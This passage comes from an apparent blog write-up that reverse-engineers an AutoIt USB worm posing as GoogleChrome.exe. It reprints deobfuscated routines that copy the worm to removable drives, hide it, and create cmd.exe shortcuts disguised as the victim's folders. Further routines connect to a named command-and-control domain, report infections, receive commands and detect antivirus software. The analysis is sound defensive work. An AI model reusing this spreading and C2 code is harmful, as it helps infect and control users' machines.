C:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Users&lt;/span&gt;&lt;span class="se"&gt;\r&lt;/span&gt;&lt;span class="s"&gt;edwolf&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Desktop&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.a3x"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It's creating GoogleChrome &amp;amp; WindowsUpdate shortcuts for &lt;code&gt;@ScriptDir&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I will alias &lt;code&gt;BXTXSVPWSNIXJEB&lt;/code&gt; as &lt;code&gt;AddScriptDirShortcuts&lt;/code&gt;&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;QHTAJWUVOFPNRCA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ALL"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kt"&gt;AddShortcutsNHideSystemFiles&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;QHTAJWUVOFPNRCA($UPJTUGAXAUXFQDY = "REMOVABLE");&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Function definition is important. When the function called without parameter, it will runs for removable devices.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It runs &lt;code&gt;RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", REG_DWORD, 0)&lt;/code&gt; to hide System files hidden.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$VMOWJBGXRMCIZPC = DriveGetDrive($UPJTUGAXAUXFQDY)&lt;/code&gt;, it get list of all or removable drives (dependent to &lt;code&gt;$UPJTUGAXAUXFQDY&lt;/code&gt; parameter)&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;In AutoIt 3, when a internal function returns array, mostly returns in a format like &lt;code&gt;[$array_size=n, $param_1, ..., $param_n]&lt;/code&gt;. Also this rule applies to  &lt;code&gt;DriveGetDrive&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And the function starts to iterate by using &lt;code&gt;$JLVHCYFDDTVCTZJ&lt;/code&gt; variable.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; &lt;code&gt;$VMOWJBGXRMCIZPC[$JLVHCYFDDTVCTZJ]&lt;/code&gt; is letter of the drive, like &lt;code&gt;C:&lt;/code&gt;, &lt;code&gt;D:&lt;/code&gt; etc. I will assign it to &lt;code&gt;$drive&lt;/code&gt; variable to make everything more readable.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DriveStatus($drive) = "READY"&lt;/code&gt;, checks the status of drive.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DriveSpaceFree($drive) &amp;gt; 10&lt;/code&gt;, And checks storage has more capacity than 10 MB.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;If FileExists($drive &amp;amp; "\MozillaFirefox") = 0 Then FileDelete($drive &amp;amp; "\MozillaFirefox")&lt;/code&gt;, it deletes &lt;code&gt;MozillaFirefox&lt;/code&gt; folder that placed in drives root (if exist).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DirCopy(@ScriptDir, $drive &amp;amp; "\MozillaFirefox", 1)&lt;/code&gt;, then it copies the script folder to &lt;code&gt;MozillaFirefox&lt;/code&gt; folder.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;FileSetAttrib($drive &amp;amp; "\MozillaFirefox", "+RSH")&lt;/code&gt;, it sets &lt;code&gt;MozillaFirefox&lt;/code&gt; folder as &lt;strong&gt;R&lt;/strong&gt;ead-only, &lt;strong&gt;S&lt;/strong&gt;ystem and &lt;strong&gt;H&lt;/strong&gt;idden.&lt;/li&gt;
&lt;li&gt;Ands starts iterate for every file in root of drive by using &lt;code&gt;FileFindFirstFile&lt;/code&gt; and &lt;code&gt;FileFindNextFile&lt;/code&gt;. Iterator is &lt;code&gt;$QQYEAOZDVRDISHX&lt;/code&gt; however i will call it as &lt;code&gt;$folder&lt;/code&gt; for readability.

&lt;ul&gt;
&lt;li&gt;Checks is it folder by using &lt;code&gt;StringInStr(FileGetAttrib(...), "D")&lt;/code&gt; and also checks the folder name is not equal to &lt;code&gt;.&lt;/code&gt; and &lt;code&gt;..&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Creates two malicious shortcuts for every folder in the drive

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FileCreateShortcut("cmd.exe", $drive &amp;amp; "\" &amp;amp; $folder &amp;amp; "\" &amp;amp; $folder, "", "/c start ..\MozillaFirefox\GoogleChrome.exe  /AutoIt3ExecuteScript  ..\MozillaFirefox\GoogleChrome.a3x explorer  ChrW(4+33) &amp;amp; ChrW(95-28) &amp;amp; ChrW(97-29) &amp;amp; ChrW(6+31)  &amp;amp; exit", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FileCreateShortcut("cmd.exe", $drive &amp;amp; "\" &amp;amp; $folder &amp;amp; "\My Music", "", "/c start ..\MozillaFirefox\GoogleChrome.exe  /AutoIt3ExecuteScript  ..\MozillaFirefox\GoogleChrome.a3x explorer  ChrW(4+33) &amp;amp; ChrW(95-28) &amp;amp; ChrW(97-29) &amp;amp; ChrW(6+31)  &amp;amp; exit", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Sleep(40)&lt;/code&gt;, Sleeps 40 ms. Probably for avoiding high CPU/Disk usage.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's core logic for spreading device to device. It's using removable drives as jump table, and spreads by running the shortcut file. Also that's explaining why I found the virus in a folder named as &lt;code&gt;MozillaFirefox&lt;/code&gt; that placed on root of the USB.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;explorer  ChrW(4+33) &amp;amp; ChrW(95-28) &amp;amp; ChrW(97-29) &amp;amp; ChrW(6+31)&lt;/code&gt; pattern is basically &lt;code&gt;explorer %CD%&lt;/code&gt;. The patterns that given as a parameter to malware, might shows the malware was wanting to execute commands from command line parameters. However the malware don't have any mechanism for that.&lt;/p&gt;

&lt;p&gt;But since the command run via &lt;code&gt;cmd.exe&lt;/code&gt;, the &lt;code&gt;&amp;amp;&lt;/code&gt; symbol was handled by cmd.exe and won't passed to application. So probably the malware might expected to have &lt;code&gt;/c start ..\MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x &amp;amp; explorer %cd%&lt;/code&gt; parameter to open explorer and behave like normal folder shortcut. However those of all is just assumptions and the shortcuts are badly formatted. So they just trigger the executable.&lt;/p&gt;

&lt;p&gt;I will alias the &lt;code&gt;QHTAJWUVOFPNRCA&lt;/code&gt; as &lt;code&gt;AddShortcutsNHideSystemFiles&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Also you can remember we found most of that already in static analysis section. Time is solving what we cannot find in dynamic analysis.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;JTKCXJWJGPEWDWJ&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kt"&gt;AddMyFolders&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It has a lot of similar parts to &lt;code&gt;AddShortcutsNHideSystemFiles&lt;/code&gt; (aka &lt;code&gt;QHTAJWUVOFPNRCA&lt;/code&gt;).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;$RVHWXRAJIWSBONA = DriveGetDrive("REMOVABLE")&lt;/code&gt;, it gets a list of removable drives&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And the function starts to iterate by using &lt;code&gt;$UYQCHVSHUXEVFXD&lt;/code&gt; variable.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; &lt;code&gt;$RVHWXRAJIWSBONA[$UYQCHVSHUXEVFXD]&lt;/code&gt; is letter of the drive, like &lt;code&gt;C:&lt;/code&gt;, &lt;code&gt;D:&lt;/code&gt; etc. I will assign it to &lt;code&gt;$drive&lt;/code&gt; variable to make everything more readable.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DriveStatus($drive) = "READY"&lt;/code&gt;, checks the status of drive.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DriveSpaceFree($drive) &amp;gt; 1024&lt;/code&gt;, And checks storage has more capacity than 1024 MB.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DirCopy(@ScriptDir, $drive &amp;amp; "\MozillaFirefox", 1)&lt;/code&gt;, it copies the script folder to &lt;code&gt;MozillaFirefox&lt;/code&gt; folder.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;FileSetAttrib($drive &amp;amp; "\MozillaFirefox", "+RSH")&lt;/code&gt;, it sets &lt;code&gt;MozillaFirefox&lt;/code&gt; folder as &lt;strong&gt;R&lt;/strong&gt;ead-only, &lt;strong&gt;S&lt;/strong&gt;ystem and &lt;strong&gt;H&lt;/strong&gt;idden.&lt;/li&gt;
&lt;li&gt;Creates two shortcuts named as &lt;code&gt;Documents&lt;/code&gt; and &lt;code&gt;Downloads&lt;/code&gt; to root of device.

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FileCreateShortcut("cmd.exe", $drive &amp;amp; "\Documents", "", "/c start MozillaFirefox\GoogleChrome.exe  /AutoIt3ExecuteScript  ..\MozillaFirefox\GoogleChrome.a3x explorer  ChrW(4+33) &amp;amp; ChrW(95-28) &amp;amp; ChrW(97-29) &amp;amp; ChrW(6+31)  &amp;amp; exit", "", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FileCreateShortcut("cmd.exe", $drive &amp;amp; "\Downloads", "", "/c start MozillaFirefox\GoogleChrome.exe  /AutoIt3ExecuteScript  ..\MozillaFirefox\GoogleChrome.a3x explorer  ChrW(4+33) &amp;amp; ChrW(95-28) &amp;amp; ChrW(97-29) &amp;amp; ChrW(6+31)  &amp;amp; exit", "", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;$drive &amp;amp; "\My Games"&lt;/code&gt; folder not exist, it creates a directory at &lt;code&gt;$drive &amp;amp; "\My Games"&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;$drive &amp;amp; "\My Pictures"&lt;/code&gt; folder not exist, it creates a directory at &lt;code&gt;$drive &amp;amp; "\My Games"&lt;/code&gt;. There's no typo. Probably malware author forget to change folder name, it shows the &lt;em&gt;quality&lt;/em&gt; of the malware.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;$drive &amp;amp; "\My Videos"&lt;/code&gt; folder not exist, it creates a directory at &lt;code&gt;$drive &amp;amp; "\My Videos"&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;$drive &amp;amp; "\My Movies"&lt;/code&gt; folder not exist, it creates a directory at &lt;code&gt;$drive &amp;amp; "\My Movies"&lt;/code&gt; and &lt;code&gt;ERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!");&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Then calls &lt;code&gt;AddShortcutsNHideSystemFiles&lt;/code&gt; (aka &lt;code&gt;QHTAJWUVOFPNRCA&lt;/code&gt;) (with default &lt;code&gt;"REMOVABLE"&lt;/code&gt; parameter).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I will alias the &lt;code&gt;JTKCXJWJGPEWDWJ&lt;/code&gt; as &lt;code&gt;AddMyFolders&lt;/code&gt;.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;Global&lt;/span&gt; &lt;span class="n"&gt;$YLZDSLGVNMGLHEL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"googleads[.]publicvm[.]com"&lt;/span&gt;
&lt;span class="kt"&gt;Global&lt;/span&gt; &lt;span class="n"&gt;$TMDVEICCZCVSTZO&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;
&lt;span class="kt"&gt;Global&lt;/span&gt; &lt;span class="n"&gt;$JDSQSBWWYOBBUNS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;$TCP_Socket&lt;/span&gt;
&lt;span class="kt"&gt;Global&lt;/span&gt; &lt;span class="n"&gt;$VLKUJUBFNIMZXZY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;$TCP_Connection_State&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;FGHHVXEASQLUIKK&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kt"&gt;ResolveAddressAndConnect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;$VLKUJUBFNIMZXZY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; 
    &lt;span class="kt"&gt;TCPCloseSocket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$JDSQSBWWYOBBUNS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;TCPShutdown&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kt"&gt;TCPStartup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;$JDSQSBWWYOBBUNS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="n"&gt;$JDSQSBWWYOBBUNS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;TCPConnect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;TCPNameToIP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$YLZDSLGVNMGLHEL&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;$TMDVEICCZCVSTZO&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;$VLKUJUBFNIMZXZY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It tries to connect C&amp;amp;C server here like we find at dynamic analysis.&lt;/p&gt;

&lt;p&gt;I will alias &lt;code&gt;$JDSQSBWWYOBBUNS&lt;/code&gt; as &lt;code&gt;$TCP_Socket&lt;/code&gt; and &lt;code&gt;$VLKUJUBFNIMZXZY&lt;/code&gt; as &lt;code&gt;$TCP_Connection_State&lt;/code&gt; for readability. And alias the function &lt;code&gt;FGHHVXEASQLUIKK&lt;/code&gt; as &lt;code&gt;ResolveAddressAndConnect&lt;/code&gt;.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;ERQSAKPMOAIZNXP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$OPGATNEJQLBURNA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kt"&gt;DataReport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;$OPGATNEJQLBURNA&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;StringReplace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$OPGATNEJQLBURNA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"|"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;TCPSend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$TCP_Socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$OPGATNEJQLBURNA&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kd"&gt;@error&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="n"&gt;$TCP_Connection_State&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="kt"&gt;Else&lt;/span&gt;
        &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It's a data reporter function to C&amp;amp;C server, it gets the &lt;code&gt;$OPGATNEJQLBURNA&lt;/code&gt; parameter and replaces CRLF with &lt;code&gt;"|"&lt;/code&gt; and sends via the socket.&lt;/p&gt;

&lt;p&gt;I will alias the function &lt;code&gt;ERQSAKPMOAIZNXP&lt;/code&gt; as &lt;code&gt;DataReport&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;And we have learned what happens by &lt;code&gt;ERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!");&lt;/code&gt; function call. When the virus infects a new removable drive, it calls home and reports that.&lt;/p&gt;

&lt;p&gt;And fun fact, &lt;code&gt;ERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!");&lt;/code&gt; can be run before the socket opening. If you boot your computer with removable device attached or first run of the malware, &lt;code&gt;AddMyFolders&lt;/code&gt; will be run before first &lt;code&gt;ResolveAddressAndConnect&lt;/code&gt; call. So, it will always fail in those situations.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;RKCGDIKLHXBSMSW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kt"&gt;GetCommandFromCNC&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="n"&gt;$TCP_Socket&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="n"&gt;$TCP_Connection_State&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
    &lt;span class="n"&gt;$TWZCNPRQZYRMAHS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;TCPRecv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$TCP_Socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kd"&gt;@error&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="n"&gt;$TCP_Connection_State&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;

    &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kt"&gt;Dead&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="n"&gt;elimination&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;some&lt;/span&gt; &lt;span class="n"&gt;concat&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;operations&lt;/span&gt; &lt;span class="n"&gt;however&lt;/span&gt; &lt;span class="k"&gt;none&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;them&lt;/span&gt; &lt;span class="n"&gt;used&lt;/span&gt; &lt;span class="n"&gt;really&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;StringInStr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$TWZCNPRQZYRMAHS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@CRLF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="n"&gt;$TWZCNPRQZYRMAHS&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
    &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It's basically checks socket and receive command from C&amp;amp;C server. If the answer &lt;code&gt;$TWZCNPRQZYRMAHS&lt;/code&gt; has &lt;code&gt;@CRLF&lt;/code&gt; in it, returns with the answer. If not, returns with &lt;code&gt;""&lt;/code&gt;. And you should notice, if it encounter with an error, returns with &lt;code&gt;-1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I will alias the function &lt;code&gt;RKCGDIKLHXBSMSW&lt;/code&gt; as &lt;code&gt;GetCommandFromCNC&lt;/code&gt;.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="nf"&gt;_Singleton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"GoogleChrome.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
    &lt;span class="kt"&gt;Exit&lt;/span&gt;
&lt;span class="kt"&gt;EndIf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;And it uses singleton here, probably prevent starting multiple instance and opening multiple socket with C&amp;amp;C server.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;AV&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kt"&gt;The&lt;/span&gt; &lt;span class="n"&gt;only&lt;/span&gt; &lt;span class="n"&gt;function&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="kt"&gt;I&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;not&lt;/span&gt; &lt;span class="n"&gt;alias&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;something&lt;/span&gt; &lt;span class="n"&gt;probably&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="kt"&gt;Writeup&lt;/span&gt;
    &lt;span class="kt"&gt;Local&lt;/span&gt; &lt;span class="n"&gt;$AVNAME&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kd"&gt;@OSVersion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"WIN_XP"&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="n"&gt;$OWMI&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;ObjGet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"winmgmts:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;localhost&lt;/span&gt;&lt;span class="se"&gt;\r&lt;/span&gt;&lt;span class="s"&gt;oot&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;SecurityCenter"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;Else&lt;/span&gt;
        &lt;span class="n"&gt;$OWMI&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;ObjGet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"winmgmts:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;localhost&lt;/span&gt;&lt;span class="se"&gt;\r&lt;/span&gt;&lt;span class="s"&gt;oot&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;SecurityCenter2"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
    &lt;span class="n"&gt;$COLITEMS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;$OWMI&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;ExecQuery&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Select * from AntiVirusProduct"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;For&lt;/span&gt; &lt;span class="n"&gt;$OBJANTIVIRUSPRODUCT&lt;/span&gt; &lt;span class="kt"&gt;In&lt;/span&gt; &lt;span class="n"&gt;$COLITEMS&lt;/span&gt;
        &lt;span class="n"&gt;$AVNAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;$OBJANTIVIRUSPRODUCT&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;displayName&lt;/span&gt;
    &lt;span class="kt"&gt;Next&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="n"&gt;$AVNAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;False&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
